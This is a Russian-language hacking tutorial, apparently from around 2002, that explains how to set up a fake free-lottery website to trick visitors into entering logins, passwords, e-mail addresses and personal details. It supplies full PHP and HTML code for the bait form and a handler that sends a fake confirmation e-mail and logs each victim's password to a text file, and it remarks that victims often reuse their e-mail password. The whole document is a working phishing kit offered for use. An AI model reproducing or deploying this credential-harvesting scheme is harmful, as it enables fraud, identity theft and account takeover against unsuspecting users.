|
Итак нам необходимо создать сайт на котором пользователь должен регистрироваться, указывая свой логин,
пароль, адрес e-mail, адрес сайта, аську и т.п. С моей точки зрения лучшим решением будет проведение
электронной лотереи с ценными денежными призами. Падкие до халявы пользователи толпами побегут на ваш сайт,
оставляя в логах заветные логины и пароли.
Итак, всё будет выглядеть так: пользователь попав на сайт видит инфу о проведении бесплатной электронной
лотереи... всё что нужно для участия в лотерее - это придумать себе логин и пароль, указать свой почтовый
адрес и адрес сайта (если есть). В большинстве случаев придуманый пароль к лотерее совпадет с паролем
электронной почты 8).
Само собой, что никакой лотереи проводится не будет... 8(
Приступаем к сайту. Первое и самое важное... необходимо придумать и реализовать красочный дизайн
максимально похожий на дизайн серьезных контор. Желательно также прикупить хостинг с доменом первого
уровня... либо бесплатный хостинг без рекламы. Наш хостинг также должен поддерживать php, т.к. скрипты для
анкетирования будут писатся именно на нём.
Значит мы прикупили хостинг, придумали дизайн и залили сайт... гуд... приступаем к скриптам.
Разместите ссылку на скрипт анкетирования anketa.php
=================== anketa.php =====================
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//ru">
<HTML>
<HEAD>
<TITLE> Анкета! </TITLE>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
</HEAD>
<BODY BGCOLOR="#738278" text="#000000">
<center>
<TABLE border=0 cellPadding=0 cellSpacing=0 width=564>
<TR>
<TD bgColor=black vAlign=center>
<center>
<FONT color=#ffffff face="Arial, Helvetica" size=3><B>Анкета.</B></FONT>
</center>
</TD>
</TR>
<TR>
<td>
# создаем и выводим форму анкетирования
<form action="go_anketa.php" method="post">
<table align="center" width="100%">
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Ф. И. О. :</td>
<td><font face="Verdana,Arial" size="1"> <input name="UserName"
size=28 value="<? print $UserName ?>">
<font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Ваш Email :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserEmail" size=28 value="<? print $UserEmail ?>">
<font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Город :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserAdress" size=28 value="<? print $UserAdress ?>">
<font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Ваш пароль :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserPassword" size=28 value="<? print $UserPassword
?>"> <font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Образование :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserObrazovanie" size=28 value="<? print
$UserObrazovanie ?>"> <font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Ваша специальность :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserSpez" size=28 value="<? print $UserSpez ?>">
<font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Ваш сайт :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserSite" size=28 value="<? print $UserSite ?>">
<font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Ваш стаж работы в интернет :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserStag" size=28 value="<? print $UserStag ?>"></td>
</tr>
<tr>
<td align=right><font face="Verdana,Arial" size="1"><B>Другие навыки :</td>
<td><font face="Verdana,Arial" size="1">
<input name="UserNaviki" size=28 value="<? print $UserNaviki
?>"></td>
</tr>
<tr>
<td colspan=2><font face="Verdana,Arial" size="1"><B>Комментарии :
<BR><textarea name="UserComments" cols=50
rows=8 wrap=soft value="<? print $UserComments ?>"></textarea></td>
</tr>
<tr>
<td></td>
<td><font face="Verdana,Arial" size="1"> <input type="submit" value="Отправить"></td>
</tr>
</table>
</form>
</TD>
</TR>
</TABLE>
# копирайты... можно и убрать
<table width="100%" cellspacing=0 cellpadding=0 valign=center border=0>
<tr><td><center><a
href=http://rushteam.h1.ru><font color=#ffffff size=2>
Copyright © 2002 Super Lottery.</font></a><font
face="Verdana" size="1"></font></td></tr></table>
</BODY>
</HTML>
Ну это просто... хех теперь надо обработать полученные результаты...
=================== go_anketa.php =====================
<?
# Название сайта. Используется в письме которое
# отсылается пользователю после регистрации.
$SiteName = "Lottery site";
# Мыло админа
$AdminEmail = "SupaHacka@lottery.ru";
# Сабж письма
$ThankYouMessage = "Ваша анкета получена.";
# урл... замените на свой
$SiteHttp = "http://rushteam.h1.ru";
# Подпись в письме
$AdminName = "Lottery Admin";
# формируем сообщения выводящиеся при незаполненных полях
$no_name="<b><font color=#ffff80>Как же к Вам обращаться,
Ваше имя просто необходимо!</b></font>";
$no_email="<b><font color=#ffff80>Вы указали неверный E-mail адрес!</b></font>";
$no_adress="<b><font color=#ffff80>Вы забыли указать свой город.</b></font>";
$no_password="<b><font color=#ffff80>Укажите свой пароль.</b></font>";
$no_obrazovanie="<b><font color=#ffff80>Какое у Вас образование?</b></font>";
$no_spez="<b><font color=#ffff80>Укажите свою рабочую специальность.</b></font>";
$no_site="<b><font color=#ffff80>Укажите ваш сайт.</b></font>";
$no_message="<b><font color=#ffff80>Вы забыли написать сообщение.</b></font>";
?>
<?
# проверка на заполнение полей
# имени пользователя
$result=1;
if (!$UserName){
$result=0;
$error1="<li>$no_name</li>";
}
# проверка мыла на правильность ввода
if (!eregi("^.+@.+\\..+$",$UserEmail)){
$error2="<li>$no_email</li>";
$result=0;
}
if ($UserAdress==""){
$result=0;
$error3="<li>$no_adress</li>";
}
if ($UserPassword==""){
$result=0;
$error4="<li>$no_vozrast</li>";
}
if ($UserObrazovanie==""){
$result=0;
$error5="<li>$no_obrazovanie</li>";
}
if ($UserSpez==""){
$result=0;
$error6="<li>$no_spez</li>";
}
if ($UserSite==""){
$result=0;
$error7="<li>$no_rabota</li>";
}
# если всё правильно формируем письмо на ящик
# зарегистрировавшегося пользователя
if ($result==1){
$UserMessage = "Здравствуйте $UserName<br>
Ваша анкета нами получена и принята к рассмотрению.<br>";
$UserMessage .= "В самое близжайщее время мы сообщим
Вам о результатах анкетирования.<br>";
$UserMessage .= "Администратор проекта:
$AdminName <a href=\"mailto:$AdminEmail\">$AdminEmail</a>";
$from="$SiteName <$AdminEmail>";
$headers="Content-Type: text/html; charset=windows-1251\n";
$headers.="From: $from\nX-Mailer:";
# отсылаем письмо
mail($UserEmail, "$ThankYouMessage", $UserMessage, $headers);
# формируем данные для себя
$AdminMessage = "Данные отправлены от: $UserName\n";
$AdminMessage .= "Email: $UserEmail\n";
$AdminMessage .= "Город: $UserAdress\n";
$AdminMessage .= "Пароль: $UserPassword\n";
$AdminMessage .= "Образование: $UserObrazovanie\n";
$AdminMessage .= "Специальность: $UserSpez\n";
$AdminMessage .= "Сайт: $UserSite\n";
$AdminMessage .= "Стаж в инете: $UserStag\n";
$AdminMessage .= "Другие навыки: $UserNaviki\n";
$AdminMessage .= "Комментарии: \n";
$AdminMessage .= "$UserComments \n";
$AdminMessage .= "$HTTP_USER_AGENT \n";
$AdminMessage .= "\n ================================== \n";
# anketa.txt - файл в котором будут хранится результаты
$filename='anketa.txt';
# открываем файл на запись в конец
$r=fopen($filename,'a');
# записываем
fputs($r,$AdminMessage);
fclose($r);
echo ("
<HTML>
<HEAD>
<TITLE> Анкета! </TITLE>
<META NAME=\"Generator\" CONTENT=\\">
<META NAME=\"Author\" CONTENT=\\">
<META NAME=\"Keywords\" CONTENT=\"Анкета!\">
<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">
</HEAD>
<BODY BGCOLOR=#738278 text=#000000>
<center>
<table width=100% bgcolor=black cellspacing=0 cellpadding=0 valign=center border=0>
<tr><td><center><font
face=Verdana size=3 color=white><B>Поздравляем $UserName!</B>
</font></td></tr></table>
<BR><BR>
<CENTER>
<b>Информация прошла успешно</b><BR><BR>
</CENTER>
<table width=100% cellspacing=0 cellpadding=0 valign=center border=0><tr><td>
<center><font face=Verdana
size=2><center><a href=anketa.php>Обратно</a></center></font>
</td></tr></table>
<br>
<br>
");
}
# если не все параметры были введены... формируем новую форму с указанием ошибок
if ($result!==1){
echo ("
<TITLE> Неправильные параметры! </TITLE>
<META NAME=\"Generator\" CONTENT=\"www.carline.ru\">
<META NAME=\"Author\" CONTENT=\"Dmitriy Master\">
<META NAME=\"Keywords\" CONTENT=\"Анкета!\">
<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">
</HEAD>
<BODY BGCOLOR=#738278 text=#000000>
<center>
<table width=100% bgcolor=black cellspacing=0 cellpadding=0 valign=center border=0>
<tr><td><center><font
face=Verdana size=3 color=white><B>Неправильные параметры данных!
</B></font></td></tr></table>
<BR>
<CENTER>
<font color=#fffff0 size=4>$UserName</font><br><b>
<font color=#fffff0> Пожалуйста повнимательнее заполните
анкету!</b></font><BR><BR>
</CENTER>
<center>
<TABLE border=0 cellPadding=0 cellSpacing=0 width=564>
<TR>
<TD>$error1$error2$error3$error4$error5$error6$error7<br><br></TD>
</TR>
<TR>
<TD bgColor=black vAlign=center><center>
<FONT color=#ffffff face=\"Arial, Helvetica\"
size=3><B>Анкета.</B></FONT></center></TD>
</TR>
<TR>
<td>
<form action=mail_anketa.php method=post>
<table align=center width=100%>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Ф. И. О. :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserName size=28 value=\"$UserName\"> <font
color=red>*</font></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Ваш Email :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserEmail size=28 value=\"$UserEmail\"> <font
color=red>*</font></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Город :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserAdress size=28 value=\"$UserAdress\"> <font
color=red>*</font></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Ваш пароль :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserPassword size=28 value=\"$UserPassword\"> <font
color=red>*</font></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Образование :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserObrazovanie size=28 value=\"$UserObrazovanie\">
<font color=red>*</font></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Ваша специальность :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserSpez size=28 value=\"$UserSpez\"> <font
color=red>*</font></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Ваш сайт :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserSite size=28 value=\"$UserSite\"> <font
color=red>*</font></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1>
<B>Ваш стаж работы в интернет:</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserStag size=28 value=\"$UserStag\"></td>
</tr>
<tr>
<td align=right><font face=\"Verdana,Arial\" size=1><B>Другие навыки :</td>
<td><font face=\"Verdana,Arial\" size=1>
<input name=UserNaviki size=28 value=\"$UserNaviki\"></td>
</tr>
<tr>
<td colspan=2><font face=\"Verdana,Arial\" size=1><B>Комментарии :
<BR><textarea name=UserComments cols=50
rows=8 wrap=soft >$UserComments</textarea></td>
</tr>
<tr>
<td></td>
<td><font face=\"Verdana,Arial\" size=1>
<input type=submit value=\"Отправить\"></td>
</tr>
</table>
</form>
</TD>
</TR>
</TABLE>
<p><br>
");
}
?>
</BODY>
</HTML>
Теперь заливаем оба файла (anketa.php и go_anketa.php) на сайт и ждём результатов.
З.Ы. Спасибо dinggo за идею... 8)
Перейти к рубрике --> Защита и нападение |